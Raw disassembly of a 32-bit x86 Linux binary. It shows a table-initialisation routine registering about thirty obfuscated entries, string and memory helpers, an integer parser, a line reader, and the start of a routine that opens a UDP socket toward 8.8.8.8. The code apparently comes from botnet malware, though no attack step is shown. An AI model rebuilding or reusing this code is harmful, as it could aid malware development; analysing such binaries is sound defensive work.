804b6c2: 68 99 e8 04 08 push $0x804e899 | |
804b6c7: 50 push %eax | |
804b6c8: e8 93 05 00 00 call 0x804bc60 | |
804b6cd: 89 1d 48 f1 04 08 mov %ebx,0x804f148 | |
804b6d3: c7 04 24 02 00 00 00 movl $0x2,(%esp) | |
804b6da: 66 c7 05 4c f1 04 08 movw $0x2,0x804f14c | |
804b6e1: 02 00 | |
804b6e3: e8 88 11 00 00 call 0x804c870 | |
804b6e8: 83 c4 0c add $0xc,%esp | |
804b6eb: 89 c3 mov %eax,%ebx | |
804b6ed: 6a 02 push $0x2 | |
804b6ef: 68 9c e8 04 08 push $0x804e89c | |
804b6f4: 50 push %eax | |
804b6f5: e8 66 05 00 00 call 0x804bc60 | |
804b6fa: 89 1d 50 f1 04 08 mov %ebx,0x804f150 | |
804b700: c7 04 24 17 00 00 00 movl $0x17,(%esp) | |
804b707: 66 c7 05 54 f1 04 08 movw $0x2,0x804f154 | |
804b70e: 02 00 | |
804b710: e8 5b 11 00 00 call 0x804c870 | |
804b715: 83 c4 0c add $0xc,%esp | |
804b718: 89 c3 mov %eax,%ebx | |
804b71a: 6a 17 push $0x17 | |
804b71c: 68 9f e8 04 08 push $0x804e89f | |
804b721: 50 push %eax | |
804b722: e8 39 05 00 00 call 0x804bc60 | |
804b727: 89 1d 58 f1 04 08 mov %ebx,0x804f158 | |
804b72d: c7 04 24 06 00 00 00 movl $0x6,(%esp) | |
804b734: 66 c7 05 5c f1 04 08 movw $0x17,0x804f15c | |
804b73b: 17 00 | |
804b73d: e8 2e 11 00 00 call 0x804c870 | |
804b742: 83 c4 0c add $0xc,%esp | |
804b745: 89 c3 mov %eax,%ebx | |
804b747: 6a 06 push $0x6 | |
804b749: 68 b7 e8 04 08 push $0x804e8b7 | |
804b74e: 50 push %eax | |
804b74f: e8 0c 05 00 00 call 0x804bc60 | |
804b754: 89 1d 60 f1 04 08 mov %ebx,0x804f160 | |
804b75a: c7 04 24 07 00 00 00 movl $0x7,(%esp) | |
804b761: 66 c7 05 64 f1 04 08 movw $0x6,0x804f164 | |
804b768: 06 00 | |
804b76a: e8 01 11 00 00 call 0x804c870 | |
804b76f: 83 c4 0c add $0xc,%esp | |
804b772: 89 c3 mov %eax,%ebx | |
804b774: 6a 07 push $0x7 | |
804b776: 68 be e8 04 08 push $0x804e8be | |
804b77b: 50 push %eax | |
804b77c: e8 df 04 00 00 call 0x804bc60 | |
804b781: 89 1d 68 f1 04 08 mov %ebx,0x804f168 | |
804b787: c7 04 24 07 00 00 00 movl $0x7,(%esp) | |
804b78e: 66 c7 05 6c f1 04 08 movw $0x7,0x804f16c | |
804b795: 07 00 | |
804b797: e8 d4 10 00 00 call 0x804c870 | |
804b79c: 83 c4 0c add $0xc,%esp | |
804b79f: 89 c3 mov %eax,%ebx | |
804b7a1: 6a 07 push $0x7 | |
804b7a3: 68 c6 e8 04 08 push $0x804e8c6 | |
804b7a8: 50 push %eax | |
804b7a9: e8 b2 04 00 00 call 0x804bc60 | |
804b7ae: 89 1d 70 f1 04 08 mov %ebx,0x804f170 | |
804b7b4: c7 04 24 03 00 00 00 movl $0x3,(%esp) | |
804b7bb: 66 c7 05 74 f1 04 08 movw $0x7,0x804f174 | |
804b7c2: 07 00 | |
804b7c4: e8 a7 10 00 00 call 0x804c870 | |
804b7c9: 83 c4 0c add $0xc,%esp | |
804b7cc: 89 c3 mov %eax,%ebx | |
804b7ce: 6a 03 push $0x3 | |
804b7d0: 68 ce e8 04 08 push $0x804e8ce | |
804b7d5: 50 push %eax | |
804b7d6: e8 85 04 00 00 call 0x804bc60 | |
804b7db: 89 1d 78 f1 04 08 mov %ebx,0x804f178 | |
804b7e1: c7 04 24 13 00 00 00 movl $0x13,(%esp) | |
804b7e8: 66 c7 05 7c f1 04 08 movw $0x3,0x804f17c | |
804b7ef: 03 00 | |
804b7f1: e8 7a 10 00 00 call 0x804c870 | |
804b7f6: 83 c4 0c add $0xc,%esp | |
804b7f9: 89 c3 mov %eax,%ebx | |
804b7fb: 6a 13 push $0x13 | |
804b7fd: 68 d2 e8 04 08 push $0x804e8d2 | |
804b802: 50 push %eax | |
804b803: e8 58 04 00 00 call 0x804bc60 | |
804b808: 89 1d 80 f1 04 08 mov %ebx,0x804f180 | |
804b80e: c7 04 24 18 00 00 00 movl $0x18,(%esp) | |
804b815: 66 c7 05 84 f1 04 08 movw $0x13,0x804f184 | |
804b81c: 13 00 | |
804b81e: e8 4d 10 00 00 call 0x804c870 | |
804b823: 83 c4 0c add $0xc,%esp | |
804b826: 89 c3 mov %eax,%ebx | |
804b828: 6a 18 push $0x18 | |
804b82a: 68 e6 e8 04 08 push $0x804e8e6 | |
804b82f: 50 push %eax | |
804b830: e8 2b 04 00 00 call 0x804bc60 | |
804b835: 89 1d 88 f1 04 08 mov %ebx,0x804f188 | |
804b83b: c7 04 24 09 00 00 00 movl $0x9,(%esp) | |
804b842: 66 c7 05 8c f1 04 08 movw $0x18,0x804f18c | |
804b849: 18 00 | |
804b84b: e8 20 10 00 00 call 0x804c870 | |
804b850: 83 c4 0c add $0xc,%esp | |
804b853: 89 c3 mov %eax,%ebx | |
804b855: 6a 09 push $0x9 | |
804b857: 68 ff e8 04 08 push $0x804e8ff | |
804b85c: 50 push %eax | |
804b85d: e8 fe 03 00 00 call 0x804bc60 | |
804b862: 89 1d 90 f1 04 08 mov %ebx,0x804f190 | |
804b868: c7 04 24 10 00 00 00 movl $0x10,(%esp) | |
804b86f: 66 c7 05 94 f1 04 08 movw $0x9,0x804f194 | |
804b876: 09 00 | |
804b878: e8 f3 0f 00 00 call 0x804c870 | |
804b87d: 83 c4 0c add $0xc,%esp | |
804b880: 89 c3 mov %eax,%ebx | |
804b882: 6a 10 push $0x10 | |
804b884: 68 09 e9 04 08 push $0x804e909 | |
804b889: 50 push %eax | |
804b88a: e8 d1 03 00 00 call 0x804bc60 | |
804b88f: 89 1d 98 f1 04 08 mov %ebx,0x804f198 | |
804b895: c7 04 24 16 00 00 00 movl $0x16,(%esp) | |
804b89c: 66 c7 05 9c f1 04 08 movw $0x10,0x804f19c | |
804b8a3: 10 00 | |
804b8a5: e8 c6 0f 00 00 call 0x804c870 | |
804b8aa: 83 c4 0c add $0xc,%esp | |
804b8ad: 89 c3 mov %eax,%ebx | |
804b8af: 6a 16 push $0x16 | |
804b8b1: 68 1a e9 04 08 push $0x804e91a | |
804b8b6: 50 push %eax | |
804b8b7: e8 a4 03 00 00 call 0x804bc60 | |
804b8bc: 89 1d a0 f1 04 08 mov %ebx,0x804f1a0 | |
804b8c2: c7 04 24 07 00 00 00 movl $0x7,(%esp) | |
804b8c9: 66 c7 05 a4 f1 04 08 movw $0x16,0x804f1a4 | |
804b8d0: 16 00 | |
804b8d2: e8 99 0f 00 00 call 0x804c870 | |
804b8d7: 83 c4 0c add $0xc,%esp | |
804b8da: 89 c3 mov %eax,%ebx | |
804b8dc: 6a 07 push $0x7 | |
804b8de: 68 31 e9 04 08 push $0x804e931 | |
804b8e3: 50 push %eax | |
804b8e4: e8 77 03 00 00 call 0x804bc60 | |
804b8e9: 89 1d a8 f1 04 08 mov %ebx,0x804f1a8 | |
804b8ef: c7 04 24 05 00 00 00 movl $0x5,(%esp) | |
804b8f6: 66 c7 05 ac f1 04 08 movw $0x7,0x804f1ac | |
804b8fd: 07 00 | |
804b8ff: e8 6c 0f 00 00 call 0x804c870 | |
804b904: 83 c4 0c add $0xc,%esp | |
804b907: 89 c3 mov %eax,%ebx | |
804b909: 6a 05 push $0x5 | |
804b90b: 68 39 e9 04 08 push $0x804e939 | |
804b910: 50 push %eax | |
804b911: e8 4a 03 00 00 call 0x804bc60 | |
804b916: 89 1d b0 f1 04 08 mov %ebx,0x804f1b0 | |
804b91c: c7 04 24 04 00 00 00 movl $0x4,(%esp) | |
804b923: 66 c7 05 b4 f1 04 08 movw $0x5,0x804f1b4 | |
804b92a: 05 00 | |
804b92c: e8 3f 0f 00 00 call 0x804c870 | |
804b931: 83 c4 0c add $0xc,%esp | |
804b934: 89 c3 mov %eax,%ebx | |
804b936: 6a 04 push $0x4 | |
804b938: 68 3f e9 04 08 push $0x804e93f | |
804b93d: 50 push %eax | |
804b93e: e8 1d 03 00 00 call 0x804bc60 | |
804b943: 89 1d b8 f1 04 08 mov %ebx,0x804f1b8 | |
804b949: c7 04 24 06 00 00 00 movl $0x6,(%esp) | |
804b950: 66 c7 05 bc f1 04 08 movw $0x4,0x804f1bc | |
804b957: 04 00 | |
804b959: e8 12 0f 00 00 call 0x804c870 | |
804b95e: 83 c4 0c add $0xc,%esp | |
804b961: 89 c3 mov %eax,%ebx | |
804b963: 6a 06 push $0x6 | |
804b965: 68 44 e9 04 08 push $0x804e944 | |
804b96a: 50 push %eax | |
804b96b: e8 f0 02 00 00 call 0x804bc60 | |
804b970: 89 1d c0 f1 04 08 mov %ebx,0x804f1c0 | |
804b976: c7 04 24 0e 00 00 00 movl $0xe,(%esp) | |
804b97d: 66 c7 05 c4 f1 04 08 movw $0x6,0x804f1c4 | |
804b984: 06 00 | |
804b986: e8 e5 0e 00 00 call 0x804c870 | |
804b98b: 83 c4 0c add $0xc,%esp | |
804b98e: 89 c3 mov %eax,%ebx | |
804b990: 6a 0e push $0xe | |
804b992: 68 4b e9 04 08 push $0x804e94b | |
804b997: 50 push %eax | |
804b998: e8 c3 02 00 00 call 0x804bc60 | |
804b99d: 89 1d c8 f1 04 08 mov %ebx,0x804f1c8 | |
804b9a3: c7 04 24 08 00 00 00 movl $0x8,(%esp) | |
804b9aa: 66 c7 05 cc f1 04 08 movw $0xe,0x804f1cc | |
804b9b1: 0e 00 | |
804b9b3: e8 b8 0e 00 00 call 0x804c870 | |
804b9b8: 83 c4 0c add $0xc,%esp | |
804b9bb: 89 c3 mov %eax,%ebx | |
804b9bd: 6a 08 push $0x8 | |
804b9bf: 68 5a e9 04 08 push $0x804e95a | |
804b9c4: 50 push %eax | |
804b9c5: e8 96 02 00 00 call 0x804bc60 | |
804b9ca: 89 1d 28 f2 04 08 mov %ebx,0x804f228 | |
804b9d0: c7 04 24 07 00 00 00 movl $0x7,(%esp) | |
804b9d7: 66 c7 05 2c f2 04 08 movw $0x8,0x804f22c | |
804b9de: 08 00 | |
804b9e0: e8 8b 0e 00 00 call 0x804c870 | |
804b9e5: 83 c4 0c add $0xc,%esp | |
804b9e8: 89 c3 mov %eax,%ebx | |
804b9ea: 6a 07 push $0x7 | |
804b9ec: 68 63 e9 04 08 push $0x804e963 | |
804b9f1: 50 push %eax | |
804b9f2: e8 69 02 00 00 call 0x804bc60 | |
804b9f7: 89 1d 30 f2 04 08 mov %ebx,0x804f230 | |
804b9fd: c7 04 24 10 00 00 00 movl $0x10,(%esp) | |
804ba04: 66 c7 05 34 f2 04 08 movw $0x7,0x804f234 | |
804ba0b: 07 00 | |
804ba0d: e8 5e 0e 00 00 call 0x804c870 | |
804ba12: 83 c4 0c add $0xc,%esp | |
804ba15: 89 c3 mov %eax,%ebx | |
804ba17: 6a 10 push $0x10 | |
804ba19: 68 6b e9 04 08 push $0x804e96b | |
804ba1e: 50 push %eax | |
804ba1f: e8 3c 02 00 00 call 0x804bc60 | |
804ba24: 89 1d d0 f1 04 08 mov %ebx,0x804f1d0 | |
804ba2a: c7 04 24 08 00 00 00 movl $0x8,(%esp) | |
804ba31: 66 c7 05 d4 f1 04 08 movw $0x10,0x804f1d4 | |
804ba38: 10 00 | |
804ba3a: e8 31 0e 00 00 call 0x804c870 | |
804ba3f: 83 c4 0c add $0xc,%esp | |
804ba42: 89 c3 mov %eax,%ebx | |
804ba44: 6a 08 push $0x8 | |
804ba46: 68 7c e9 04 08 push $0x804e97c | |
804ba4b: 50 push %eax | |
804ba4c: e8 0f 02 00 00 call 0x804bc60 | |
804ba51: 89 1d d8 f1 04 08 mov %ebx,0x804f1d8 | |
804ba57: c7 04 24 15 00 00 00 movl $0x15,(%esp) | |
804ba5e: 66 c7 05 dc f1 04 08 movw $0x8,0x804f1dc | |
804ba65: 08 00 | |
804ba67: e8 04 0e 00 00 call 0x804c870 | |
804ba6c: 83 c4 0c add $0xc,%esp | |
804ba6f: 89 c3 mov %eax,%ebx | |
804ba71: 6a 15 push $0x15 | |
804ba73: 68 f5 e9 04 08 push $0x804e9f5 | |
804ba78: 50 push %eax | |
804ba79: e8 e2 01 00 00 call 0x804bc60 | |
804ba7e: 89 1d e0 f1 04 08 mov %ebx,0x804f1e0 | |
804ba84: c7 04 24 11 00 00 00 movl $0x11,(%esp) | |
804ba8b: 66 c7 05 e4 f1 04 08 movw $0x15,0x804f1e4 | |
804ba92: 15 00 | |
804ba94: e8 d7 0d 00 00 call 0x804c870 | |
804ba99: 83 c4 0c add $0xc,%esp | |
804ba9c: 89 c3 mov %eax,%ebx | |
804ba9e: 6a 11 push $0x11 | |
804baa0: 68 85 e9 04 08 push $0x804e985 | |
804baa5: 50 push %eax | |
804baa6: e8 b5 01 00 00 call 0x804bc60 | |
804baab: 89 1d e8 f1 04 08 mov %ebx,0x804f1e8 | |
804bab1: c7 04 24 0c 00 00 00 movl $0xc,(%esp) | |
804bab8: 66 c7 05 ec f1 04 08 movw $0x11,0x804f1ec | |
804babf: 11 00 | |
804bac1: e8 aa 0d 00 00 call 0x804c870 | |
804bac6: 83 c4 0c add $0xc,%esp | |
804bac9: 89 c3 mov %eax,%ebx | |
804bacb: 6a 0c push $0xc | |
804bacd: 68 97 e9 04 08 push $0x804e997 | |
804bad2: 50 push %eax | |
804bad3: e8 88 01 00 00 call 0x804bc60 | |
804bad8: 89 1d f0 f1 04 08 mov %ebx,0x804f1f0 | |
804bade: c7 04 24 0e 00 00 00 movl $0xe,(%esp) | |
804bae5: 66 c7 05 f4 f1 04 08 movw $0xc,0x804f1f4 | |
804baec: 0c 00 | |
804baee: e8 7d 0d 00 00 call 0x804c870 | |
804baf3: 83 c4 0c add $0xc,%esp | |
804baf6: 89 c3 mov %eax,%ebx | |
804baf8: 6a 0e push $0xe | |
804bafa: 68 a4 e9 04 08 push $0x804e9a4 | |
804baff: 50 push %eax | |
804bb00: e8 5b 01 00 00 call 0x804bc60 | |
804bb05: 89 1d f8 f1 04 08 mov %ebx,0x804f1f8 | |
804bb0b: c7 04 24 13 00 00 00 movl $0x13,(%esp) | |
804bb12: 66 c7 05 fc f1 04 08 movw $0xe,0x804f1fc | |
804bb19: 0e 00 | |
804bb1b: e8 50 0d 00 00 call 0x804c870 | |
804bb20: 83 c4 0c add $0xc,%esp | |
804bb23: 89 c3 mov %eax,%ebx | |
804bb25: 6a 13 push $0x13 | |
804bb27: 68 b3 e9 04 08 push $0x804e9b3 | |
804bb2c: 50 push %eax | |
804bb2d: e8 2e 01 00 00 call 0x804bc60 | |
804bb32: 89 1d 00 f2 04 08 mov %ebx,0x804f200 | |
804bb38: c7 04 24 08 00 00 00 movl $0x8,(%esp) | |
804bb3f: 66 c7 05 04 f2 04 08 movw $0x13,0x804f204 | |
804bb46: 13 00 | |
804bb48: e8 23 0d 00 00 call 0x804c870 | |
804bb4d: 83 c4 0c add $0xc,%esp | |
804bb50: 89 c3 mov %eax,%ebx | |
804bb52: 6a 08 push $0x8 | |
804bb54: 68 c7 e9 04 08 push $0x804e9c7 | |
804bb59: 50 push %eax | |
804bb5a: e8 01 01 00 00 call 0x804bc60 | |
804bb5f: 89 1d 08 f2 04 08 mov %ebx,0x804f208 | |
804bb65: c7 04 24 05 00 00 00 movl $0x5,(%esp) | |
804bb6c: 66 c7 05 0c f2 04 08 movw $0x8,0x804f20c | |
804bb73: 08 00 | |
804bb75: e8 f6 0c 00 00 call 0x804c870 | |
804bb7a: 83 c4 0c add $0xc,%esp | |
804bb7d: 89 c3 mov %eax,%ebx | |
804bb7f: 6a 05 push $0x5 | |
804bb81: 68 d0 e9 04 08 push $0x804e9d0 | |
804bb86: 50 push %eax | |
804bb87: e8 d4 00 00 00 call 0x804bc60 | |
804bb8c: 89 1d 10 f2 04 08 mov %ebx,0x804f210 | |
804bb92: c7 04 24 06 00 00 00 movl $0x6,(%esp) | |
804bb99: 66 c7 05 14 f2 04 08 movw $0x5,0x804f214 | |
804bba0: 05 00 | |
804bba2: e8 c9 0c 00 00 call 0x804c870 | |
804bba7: 83 c4 0c add $0xc,%esp | |
804bbaa: 89 c3 mov %eax,%ebx | |
804bbac: 6a 06 push $0x6 | |
804bbae: 68 d6 e9 04 08 push $0x804e9d6 | |
804bbb3: 50 push %eax | |
804bbb4: e8 a7 00 00 00 call 0x804bc60 | |
804bbb9: 89 1d 18 f2 04 08 mov %ebx,0x804f218 | |
804bbbf: c7 04 24 17 00 00 00 movl $0x17,(%esp) | |
804bbc6: 66 c7 05 1c f2 04 08 movw $0x6,0x804f21c | |
804bbcd: 06 00 | |
804bbcf: e8 9c 0c 00 00 call 0x804c870 | |
804bbd4: 83 c4 0c add $0xc,%esp | |
804bbd7: 89 c3 mov %eax,%ebx | |
804bbd9: 6a 17 push $0x17 | |
804bbdb: 68 dd e9 04 08 push $0x804e9dd | |
804bbe0: 50 push %eax | |
804bbe1: e8 7a 00 00 00 call 0x804bc60 | |
804bbe6: 89 1d 20 f2 04 08 mov %ebx,0x804f220 | |
804bbec: 66 c7 05 24 f2 04 08 movw $0x17,0x804f224 | |
804bbf3: 17 00 | |
804bbf5: 83 c4 18 add $0x18,%esp | |
804bbf8: 5b pop %ebx | |
804bbf9: c3 ret | |
804bbfa: 90 nop | |
804bbfb: 90 nop | |
804bbfc: 90 nop | |
804bbfd: 90 nop | |
804bbfe: 90 nop | |
804bbff: 90 nop | |
804bc00: 8b 54 24 04 mov 0x4(%esp),%edx | |
804bc04: 31 c0 xor %eax,%eax | |
804bc06: 80 3a 00 cmpb $0x0,(%edx) | |
804bc09: 74 0c je 0x804bc17 | |
804bc0b: 90 nop | |
804bc0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
804bc10: 40 inc %eax | |
804bc11: 80 3c 10 00 cmpb $0x0,(%eax,%edx,1) | |
804bc15: 75 f9 jne 0x804bc10 | |
804bc17: c3 ret | |
804bc18: 90 nop | |
804bc19: 90 nop | |
804bc1a: 90 nop | |
804bc1b: 90 nop | |
804bc1c: 90 nop | |
804bc1d: 90 nop | |
804bc1e: 90 nop | |
804bc1f: 90 nop | |
804bc20: 56 push %esi | |
804bc21: 53 push %ebx | |
804bc22: 8b 44 24 10 mov 0x10(%esp),%eax | |
804bc26: 8b 54 24 0c mov 0xc(%esp),%edx | |
804bc2a: 80 38 00 cmpb $0x0,(%eax) | |
804bc2d: 74 25 je 0x804bc54 | |
804bc2f: 31 f6 xor %esi,%esi | |
804bc31: 46 inc %esi | |
804bc32: 80 3c 06 00 cmpb $0x0,(%esi,%eax,1) | |
804bc36: 75 f9 jne 0x804bc31 | |
804bc38: 83 fe ff cmp $0xffffffff,%esi | |
804bc3b: 74 12 je 0x804bc4f | |
804bc3d: 89 d3 mov %edx,%ebx | |
804bc3f: 89 c1 mov %eax,%ecx | |
804bc41: 89 f2 mov %esi,%edx | |
804bc43: 8a 01 mov (%ecx),%al | |
804bc45: 4a dec %edx | |
804bc46: 88 03 mov %al,(%ebx) | |
804bc48: 41 inc %ecx | |
804bc49: 43 inc %ebx | |
804bc4a: 83 fa ff cmp $0xffffffff,%edx | |
804bc4d: 75 f4 jne 0x804bc43 | |
804bc4f: 89 f0 mov %esi,%eax | |
804bc51: 5b pop %ebx | |
804bc52: 5e pop %esi | |
804bc53: c3 ret | |
804bc54: 89 d3 mov %edx,%ebx | |
804bc56: 89 c1 mov %eax,%ecx | |
804bc58: 31 d2 xor %edx,%edx | |
804bc5a: 31 f6 xor %esi,%esi | |
804bc5c: eb e5 jmp 0x804bc43 | |
804bc5e: 90 nop | |
804bc5f: 90 nop | |
804bc60: 56 push %esi | |
804bc61: 53 push %ebx | |
804bc62: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804bc66: 8b 74 24 0c mov 0xc(%esp),%esi | |
804bc6a: 8b 5c 24 10 mov 0x10(%esp),%ebx | |
804bc6e: 85 c9 test %ecx,%ecx | |
804bc70: 74 0d je 0x804bc7f | |
804bc72: 31 d2 xor %edx,%edx | |
804bc74: 8a 04 1a mov (%edx,%ebx,1),%al | |
804bc77: 88 04 32 mov %al,(%edx,%esi,1) | |
804bc7a: 42 inc %edx | |
804bc7b: 39 ca cmp %ecx,%edx | |
804bc7d: 75 f5 jne 0x804bc74 | |
804bc7f: 5b pop %ebx | |
804bc80: 5e pop %esi | |
804bc81: c3 ret | |
804bc82: 90 nop | |
804bc83: 90 nop | |
804bc84: 90 nop | |
804bc85: 90 nop | |
804bc86: 90 nop | |
804bc87: 90 nop | |
804bc88: 90 nop | |
804bc89: 90 nop | |
804bc8a: 90 nop | |
804bc8b: 90 nop | |
804bc8c: 90 nop | |
804bc8d: 90 nop | |
804bc8e: 90 nop | |
804bc8f: 90 nop | |
804bc90: 8b 54 24 08 mov 0x8(%esp),%edx | |
804bc94: 8b 4c 24 04 mov 0x4(%esp),%ecx | |
804bc98: 85 d2 test %edx,%edx | |
804bc9a: 74 0d je 0x804bca9 | |
804bc9c: 31 c0 xor %eax,%eax | |
804bc9e: 89 f6 mov %esi,%esi | |
804bca0: c6 04 08 00 movb $0x0,(%eax,%ecx,1) | |
804bca4: 40 inc %eax | |
804bca5: 39 d0 cmp %edx,%eax | |
804bca7: 75 f7 jne 0x804bca0 | |
804bca9: c3 ret | |
804bcaa: 90 nop | |
804bcab: 90 nop | |
804bcac: 90 nop | |
804bcad: 90 nop | |
804bcae: 90 nop | |
804bcaf: 90 nop | |
804bcb0: 55 push %ebp | |
804bcb1: 57 push %edi | |
804bcb2: 56 push %esi | |
804bcb3: 53 push %ebx | |
804bcb4: 83 ec 10 sub $0x10,%esp | |
804bcb7: 8b 74 24 24 mov 0x24(%esp),%esi | |
804bcbb: 90 nop | |
804bcbc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi | |
804bcc0: 8a 0e mov (%esi),%cl | |
804bcc2: 46 inc %esi | |
804bcc3: 0f be d9 movsbl %cl,%ebx | |
804bcc6: 0f be c3 movsbl %bl,%eax | |
804bcc9: 89 04 24 mov %eax,(%esp) | |
804bccc: 3c 20 cmp $0x20,%al | |
804bcce: 74 f0 je 0x804bcc0 | |
804bcd0: 3c 09 cmp $0x9,%al | |
804bcd2: 74 ec je 0x804bcc0 | |
804bcd4: 3c 0a cmp $0xa,%al | |
804bcd6: 74 e8 je 0x804bcc0 | |
804bcd8: 80 f9 2d cmp $0x2d,%cl | |
804bcdb: 0f 84 ac 00 00 00 je 0x804bd8d | |
804bce1: 80 f9 2b cmp $0x2b,%cl | |
804bce4: 0f 84 d3 00 00 00 je 0x804bdbd | |
804bcea: b9 ff ff ff 7f mov $0x7fffffff,%ecx | |
804bcef: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) | |
804bcf6: 00 | |
804bcf7: 89 c8 mov %ecx,%eax | |
804bcf9: 31 d2 xor %edx,%edx | |
804bcfb: f7 74 24 28 divl 0x28(%esp) | |
804bcff: 31 ed xor %ebp,%ebp | |
804bd01: 31 ff xor %edi,%edi | |
804bd03: 89 54 24 08 mov %edx,0x8(%esp) | |
804bd07: 89 44 24 04 mov %eax,0x4(%esp) | |
804bd0b: eb 31 jmp 0x804bd3e | |
804bd0d: 8d 76 00 lea 0x0(%esi),%esi | |
804bd10: 8d 53 d0 lea -0x30(%ebx),%edx | |
804bd13: 3b 54 24 28 cmp 0x28(%esp),%edx | |
804bd17: 7d 51 jge 0x804bd6a | |
804bd19: 85 ff test %edi,%edi | |
804bd1b: 78 6b js 0x804bd88 | |
804bd1d: 3b 6c 24 04 cmp 0x4(%esp),%ebp | |
804bd21: 77 65 ja 0x804bd88 | |
804bd23: 74 5d je 0x804bd82 | |
804bd25: 8b 44 24 28 mov 0x28(%esp),%eax | |
804bd29: bf 01 00 00 00 mov $0x1,%edi | |
804bd2e: 0f af c5 imul %ebp,%eax | |
804bd31: 8d 2c 10 lea (%eax,%edx,1),%ebp | |
804bd34: 0f be 1e movsbl (%esi),%ebx | |
804bd37: 0f be c3 movsbl %bl,%eax | |
804bd3a: 46 inc %esi | |
804bd3b: 89 04 24 mov %eax,(%esp) | |
804bd3e: 8a 14 24 mov (%esp),%dl | |
804bd41: 8d 42 d0 lea -0x30(%edx),%eax | |
804bd44: 3c 09 cmp $0x9,%al | |
804bd46: 76 c8 jbe 0x804bd10 | |
804bd48: 8d 42 bf lea -0x41(%edx),%eax | |
804bd4b: b9 37 00 00 00 mov $0x37,%ecx | |
804bd50: 3c 19 cmp $0x19,%al | |
804bd52: 76 0c jbe 0x804bd60 | |
804bd54: 8d 42 9f lea -0x61(%edx),%eax | |
804bd57: 3c 19 cmp $0x19,%al | |
804bd59: 77 0f ja 0x804bd6a | |
804bd5b: b1 57 mov $0x57,%cl | |
804bd5d: 8d 76 00 lea 0x0(%esi),%esi | |
804bd60: 89 da mov %ebx,%edx | |
804bd62: 29 ca sub %ecx,%edx | |
804bd64: 3b 54 24 28 cmp 0x28(%esp),%edx | |
804bd68: 7c af jl 0x804bd19 | |
804bd6a: 85 ff test %edi,%edi | |
804bd6c: 78 3b js 0x804bda9 | |
804bd6e: 8b 4c 24 0c mov 0xc(%esp),%ecx | |
804bd72: 89 e8 mov %ebp,%eax | |
804bd74: 85 c9 test %ecx,%ecx | |
804bd76: 74 02 je 0x804bd7a | |
804bd78: f7 d8 neg %eax | |
804bd7a: 83 c4 10 add $0x10,%esp | |
804bd7d: 5b pop %ebx | |
804bd7e: 5e pop %esi | |
804bd7f: 5f pop %edi | |
804bd80: 5d pop %ebp | |
804bd81: c3 ret | |
804bd82: 3b 54 24 08 cmp 0x8(%esp),%edx | |
804bd86: 7e 9d jle 0x804bd25 | |
804bd88: 83 cf ff or $0xffffffff,%edi | |
804bd8b: eb a7 jmp 0x804bd34 | |
804bd8d: 0f be 1e movsbl (%esi),%ebx | |
804bd90: b9 00 00 00 80 mov $0x80000000,%ecx | |
804bd95: 46 inc %esi | |
804bd96: 0f be d3 movsbl %bl,%edx | |
804bd99: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp) | |
804bda0: 00 | |
804bda1: 89 14 24 mov %edx,(%esp) | |
804bda4: e9 4e ff ff ff jmp 0x804bcf7 | |
804bda9: 83 7c 24 0c 01 cmpl $0x1,0xc(%esp) | |
804bdae: 19 c0 sbb %eax,%eax | |
804bdb0: 83 c4 10 add $0x10,%esp | |
804bdb3: 2d 00 00 00 80 sub $0x80000000,%eax | |
804bdb8: 5b pop %ebx | |
804bdb9: 5e pop %esi | |
804bdba: 5f pop %edi | |
804bdbb: 5d pop %ebp | |
804bdbc: c3 ret | |
804bdbd: 0f be 1e movsbl (%esi),%ebx | |
804bdc0: 46 inc %esi | |
804bdc1: 0f be c3 movsbl %bl,%eax | |
804bdc4: 89 04 24 mov %eax,(%esp) | |
804bdc7: e9 1e ff ff ff jmp 0x804bcea | |
804bdcc: 90 nop | |
804bdcd: 90 nop | |
804bdce: 90 nop | |
804bdcf: 90 nop | |
804bdd0: 55 push %ebp | |
804bdd1: 57 push %edi | |
804bdd2: 56 push %esi | |
804bdd3: 53 push %ebx | |
804bdd4: 83 ec 0c sub $0xc,%esp | |
804bdd7: 31 db xor %ebx,%ebx | |
804bdd9: 8b 74 24 20 mov 0x20(%esp),%esi | |
804bddd: 8b 6c 24 24 mov 0x24(%esp),%ebp | |
804bde1: 8b 7c 24 28 mov 0x28(%esp),%edi | |
804bde5: 50 push %eax | |
804bde6: 8d 04 1e lea (%esi,%ebx,1),%eax | |
804bde9: 6a 01 push $0x1 | |
804bdeb: 50 push %eax | |
804bdec: 57 push %edi | |
804bded: e8 7c 04 00 00 call 0x804c26e | |
804bdf2: 83 c4 10 add $0x10,%esp | |
804bdf5: 48 dec %eax | |
804bdf6: 75 0c jne 0x804be04 | |
804bdf8: 43 inc %ebx | |
804bdf9: 39 dd cmp %ebx,%ebp | |
804bdfb: 7e 07 jle 0x804be04 | |
804bdfd: 80 7c 33 ff 0a cmpb $0xa,-0x1(%ebx,%esi,1) | |
804be02: 75 e1 jne 0x804bde5 | |
804be04: 85 db test %ebx,%ebx | |
804be06: 0f 95 c0 setne %al | |
804be09: 25 ff 00 00 00 and $0xff,%eax | |
804be0e: 83 c4 0c add $0xc,%esp | |
804be11: f7 d8 neg %eax | |
804be13: 21 c6 and %eax,%esi | |
804be15: 5b pop %ebx | |
804be16: 89 f0 mov %esi,%eax | |
804be18: 5e pop %esi | |
804be19: 5f pop %edi | |
804be1a: 5d pop %ebp | |
804be1b: c3 ret | |
804be1c: 90 nop | |
804be1d: 90 nop | |
804be1e: 90 nop | |
804be1f: 90 nop | |
804be20: 56 push %esi | |
804be21: 53 push %ebx | |
804be22: 83 ec 24 sub $0x24,%esp | |
804be25: c7 44 24 20 10 00 00 movl $0x10,0x20(%esp) | |
804be2c: 00 | |
804be2d: e8 84 07 00 00 call 0x804c5b6 | |
804be32: c7 00 00 00 00 00 movl $0x0,(%eax) | |
804be38: 50 push %eax | |
804be39: 6a 00 push $0x0 | |
804be3b: 6a 02 push $0x2 | |
804be3d: 6a 02 push $0x2 | |
804be3f: e8 db 09 00 00 call 0x804c81f | |
804be44: 89 c6 mov %eax,%esi | |
804be46: 83 c4 10 add $0x10,%esp | |
804be49: 31 c0 xor %eax,%eax | |
804be4b: 83 fe ff cmp $0xffffffff,%esi | |
804be4e: 74 42 je 0x804be92 | |
804be50: 8d 5c 24 10 lea 0x10(%esp),%ebx | |
804be54: 66 c7 44 24 10 02 00 movw $0x2,0x10(%esp) | |
804be5b: c7 44 24 14 08 08 08 movl $0x8080808,0x14(%esp) | |
804be62: 08 | |
